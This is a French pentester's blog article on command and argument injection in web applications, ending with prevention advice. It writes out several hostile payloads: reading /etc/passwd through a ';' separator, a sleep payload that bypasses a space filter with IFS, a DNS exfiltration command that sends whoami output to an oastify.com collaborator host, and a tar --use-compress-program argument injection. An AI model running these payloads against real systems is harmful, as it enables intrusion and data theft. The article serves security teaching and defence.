Injections de commandes : exploitations et bonnes pratiques sécurité 

Dans le domaine de la sécurité web, les injections de commandes figurent parmi les vulnérabilités les plus critiques.  Elles se produisent lorsqu’un attaquant parvient à exécuter des commandes système arbitraires sur le serveur web. Ce type d’attaque peut entraîner des fuites de données sensibles, la corruption de données ou le contrôle complet de l’environnement cible.

Dans cet article, nous explorons les principes et méthodes d’exploitation des injections de commandes. Nous présentons également les bonnes pratiques sécurité et les mesures à implémenter pour se protéger contre ces attaques.

En quoi consiste une injection de commandes ?

Les injections de commandes surviennent lorsque les entrées utilisateur ne sont pas correctement validées avant d’être intégrées dans des fonctions qui exécutent des commandes système. Si une application accepte des données provenant d’utilisateurs sans les filtrer, un attaquant peut détourner la commande initiale et exécuter des commandes arbitraires.

Pour contourner la commande prévue, il est possible d’utiliser des caractères spéciaux qui agissent comme des séparateurs de commandes, permettant ainsi de sortir du contexte original et d’exécuter d’autres commandes. Les principaux séparateurs de commandes sur les systèmes Windows et Unix incluent : &, &&, | ou ||.

Sur les systèmes Unix, il existe des séparateurs supplémentaires qui permettent également de chainer des commandes.

;
0x0a ou \n (caractère du saut à la ligne)
`
$()

Comment identifier et exploiter des injections de commandes ?

Pour détecter les vulnérabilités liées aux injections de commandes, plusieurs approches peuvent être adoptées.

L’une d’elles consiste à examiner le code source de l’application pour identifier les emplacements où des commandes système sont exécutées avec des entrées utilisateur non validées.

Une autre approche est l’utilisation de dictionnaires préétablis de payloads pour détecter les vulnérabilités. En envoyant ces payloads au serveur et en analysant les réponses, il est possible de déterminer si le serveur est vulnérable aux injections de commandes.

C’est cette méthode que nous allons explorer, en mettant l’accent sur les cas d’exploitations les plus courants d’un point de vue boite noire.

Prenons le cas d’une application en PHP qui tourne sur un serveur linux et qui permet de retourner l’adresse IP pour un nom de domaine donné.

Ce qui peut souvent attirer l’attention d’un pentester, c’est l’utilisation de fonctionnalités suggérant l’exécution de commandes système.

Par exemple, on pourrait supposer que le backend utilise une fonction système pour appeler un binaire natif comme dig, permettant d’interroger des serveurs DNS.

À titre d’exemple simplifié, on pourrait avoir un code ressemblant à ceci :

shell_exec("dig ".$_POST['domain']);

Dans ce contexte, il est possible d’ajouter des caractères permettant de chaîner plusieurs commandes système. Par exemple, en ajoutant le caractère « ; » suivi de la commande cat /etc/passwd, il devient possible d’afficher le contenu du fichier « /etc/passwd ».

Ainsi, la commande exécutée par le serveur sera la suivante :

dig ;cat /etc/passwd

Le serveur nous répond avec une partie du contenu du fichier « /etc/passwd » ce qui confirme que le serveur est vulnérable à l’injection de commande.

Il peut arriver que le serveur ne renvoie pas le résultat des commandes dans sa réponse. Dans ce cas, plusieurs binaires natifs aux systèmes d’exploitation peuvent être utilisés pour confirmer une injection de commande.

Par exemple, le binaire « sleep » sous Linux ou « timeout » sous Windows permettent de suspendre temporairement l’activité du serveur. Ainsi, si un attaquant utilise ces commandes, le serveur mettra en pause l’exécution avant de renvoyer une réponse.

Prenons l’exemple d’une fonctionnalité permettant de s’abonner à une newsletter. Cette fonctionnalité ne renvoie qu’un message standard confirmant que l’utilisateur est bien inscrit.

Pour vérifier si cette fonctionnalité est vulnérable aux injections de commandes, nous utiliserons la commande sleep sous Linux, qui suspendra l’exécution du serveur pendant 5 secondes.

Le payload utilisé sera :

;sleep 5

Comme le montre la capture suivante, le serveur a bien attendu plus de 5 secondes avant de répondre, ce qui confirme que le serveur est vulnérable.

Les serveurs peuvent parfois utiliser des blacklists pour filtrer certains caractères ou chaînes spécifiques, comme les espaces ou certaines commandes. Pour contourner une blacklist, on peut exploiter des caractères alternatifs, utiliser des encodages différents, ou tirer parti de variables spécifiques au système.

Dans notre exemple, le serveur supprime tous les espaces des entrées utilisateur. À première vue, cela semble être une solution efficace, car ce filtre limite considérablement l’exploitation des injections de commande aveugles.

Cependant, il existe plusieurs techniques pour contourner ce type de filtre.

L’une de ces astuces, sur les serveurs Linux, consiste à utiliser la variable IFS (Internal Field Separator). Cette variable permet de définir un caractère autre que l’espace comme séparateur de champs. En modifiant cette variable, il est possible de remplacer les espaces, ce qui permet de contourner le filtre tout en maintenant la syntaxe correcte des commandes injectées.

Ainsi, au lieu d’utiliser la commande :

;sleep 5

On pourra contourner le filtre en utilisant le payload suivant :

;sleep{$IFS}5

Principes de la vulnérabilité

Il existe des cas où l’entrée utilisateur est traitée dans des fonctions exécutées de manière asynchrone.

L’exécution asynchrone permet au serveur de continuer à fonctionner sans interrompre le programme principal. En conséquence, les commandes exécutées de cette façon n’ont pas d’impact direct sur la réponse du serveur.

Il devient donc impossible d’utiliser des commandes comme « sleep » et de se baser sur le temps de réponse du serveur afin de confirmer que le serveur est vulnérable aux injections de commandes.

C’est dans ces situations que les tests hors bande (out-of-band) deviennent utiles. Ce type de test consiste à utiliser des protocoles tels que SMTP, HTTP ou DNS pour exfiltrer des données vers un serveur contrôlé par l’attaquant.

Dans l’exemple suivant, nous montrerons une technique permettant d’exfiltrer des données en utilisant la résolution DNS.

Exploitation avec exfiltration DNS

Il est possible d’exfiltrer des informations en utilisant la substitution de commande. L’idée consiste à inclure la sortie de la commande souhaitée comme sous-domaine d’un domaine contrôlé par l’attaquant, puis à déclencher une requête DNS vers ce serveur. Le serveur DNS autoritaire, géré par l’attaquant, recevra cette requête et capturera ainsi l’information contenue dans le sous-domaine.

Le payload suivant permet de mettre en œuvre cette technique :

&nslookup $(whoami).2be49ebqfgnfrxyjeqammobl8ce32uqj.oastify.com&

Dans cet exemple, le serveur DNS reçoit la requête avec le résultat de la commande, qui, ici, est le nom de l’utilisateur courant « peter-hiHxI0 ».

Mécanismes de l’injection d’arguments

Lorsque l’entrée utilisateur n’est plus concaténée mais passée en tant qu’argument aux fonctions, cela peut sembler sûr à première vue. Cependant, cela introduit un sous-type d’injection de commandes : l’injection d’arguments.

L’injection d’arguments, consiste à manipuler les arguments passés à des commandes système pour obtenir des comportements indésirables ou dangereux. En fonction du binaire utilisé par l’application, l’impact peut résulter de la simple divulgation d’informations à l’exécution de commande à distance.

Injection d’arguments dans une application PHP

Prenons l’exemple d’une application PHP qui utilise une entrée utilisateur pour créer une archive.

L’application utilise le code suivant :

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file']) && is_array($_GET['file'])) {
    $files_to_archive = [];

    // Escaping each argument to avoid command injections
    foreach ($_GET['file'] as $file) {
        if (!empty($file)) { 
            $files_to_archive[] = escapeshellarg($file);
        }
    }

    if (!empty($files_to_archive)) {
        // Build tar command
        $command = "tar cf my.tar " . implode(' ', $files_to_archive);

        // Execute command
        exec($command, $output, $return_var);
}

Le code utilise la fonction escapeshellarg pour passer plusieurs arguments à la commande tar, au lieu de concaténer directement les entrées utilisateurs dans la fonction exec. Cela permet de sécuriser l’exécution de la commande en échappant tous les caractères spéciaux qui permettraient de faire de l’injection de commande.

Toutefois, l’utilisation de la commande tar peut présenter des risques, notamment à travers l’argument « use-compress-program ». Cet argument permet initialement d’étendre les capacités de tar en permettant l’utilisation de programmes de compression externes.

Son utilisation peut être détournée pour lancer des commandes systèmes.

Voici un exemple avec une commande qui permet d’exécuter la commande sleep.

tar --use-compress-program='sleep 5 ' -cf /tmp/passwd /etc/passwd

Dans le contexte de notre application web, cela nous donnerait le payload suivant :

/arg.php?file[]=x&file[]=--use-compress-program&file[]=sleep 5

Comme nous pouvons le voir dans la capture suivante, le serveur répond 5 secondes plus tard, ce qui nous permet de confirmer que l’application est vulnérable aux injections d’arguments.

Comment prévenir les attaques par injections de commandes ?

Pour se protéger contre les attaques d’injection de commandes, il est essentiel de minimiser les risques en évitant, autant que possible, de passer des entrées utilisateur directement dans des fonctions système.

L’un des moyens les plus efficaces est de ne pas utiliser de fonctions système lorsque cela n’est pas strictement nécessaire. De nombreuses tâches courantes peuvent être accomplies à l’aide de fonctions de haut niveau fournies par le langage de programmation utilisé. Ces fonctions sont conçues pour être sécurisées et isolées des risques inhérents à l’exécution directe de commandes shell.

Par exemple, une mauvaise pratique serait d’utiliser la fonction system() pour créer un répertoire quand il existe la fonction mkdir() en PHP.

Dans les cas où l’utilisation de commandes système est inévitable, il est crucial de valider et d’assainir les entrées utilisateur. Cela signifie que toute donnée fournie par l’utilisateur doit être validée contre une liste blanche qui définit strictement les caractères et formats autorisés.

La validation par liste blanche consiste à n’autoriser que les caractères alphanumériques (A-Z, a-z, 0-9) et de bien s’assurer que les espaces ne sont pas autorisés.

Pour corriger les injections d’arguments, un correctif consiste à utiliser le délimiteur « — » pour indiquer la fin des options et forcer les arguments suivants à être interprétés comme des opérandes

Ainsi la commande suivante ne pourra plus permettre à un utilisateur d’ajouter des arguments arbitraires.

touch -- $user_input

Lorsque vous travaillez avec des programmes qui ne gèrent pas la fin des options comme zip, la manière la plus sûre de procéder est de préfixer tout chemin contrôlé par l’utilisateur par « ./ » ou « /. »

Auteur : Yacine DJABER – Pentester @Vaadata